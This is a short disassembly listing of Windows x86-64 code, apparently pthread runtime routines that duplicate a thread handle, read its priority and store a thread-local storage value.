call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x4267d6
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [0x009353e8]
test rax, rax
je 0x414e88
mov ecx, dword [rax]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x4267d6
mov r12, rbx
mov rax, r12
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop r12
ret
lea rcx, str._pthread_tls_once_shmem
xor r8d, r8d
mov edx, 4
call fcn.00417ea0
mov qword [0x009353f0], rax
mov rcx, rax
jmp 0x414cf9
lea r8, [0x00413b20]
mov edx, 4
lea rcx, str._pthread_tls_shmem
call fcn.00417ea0
mov qword [0x009353e8], rax
jmp 0x414d13
lea r8, [0x00413b20]
mov edx, 4
lea rcx, str._pthread_tls_shmem
call fcn.00417ea0
mov qword [0x009353e8], rax
jmp 0x414e0e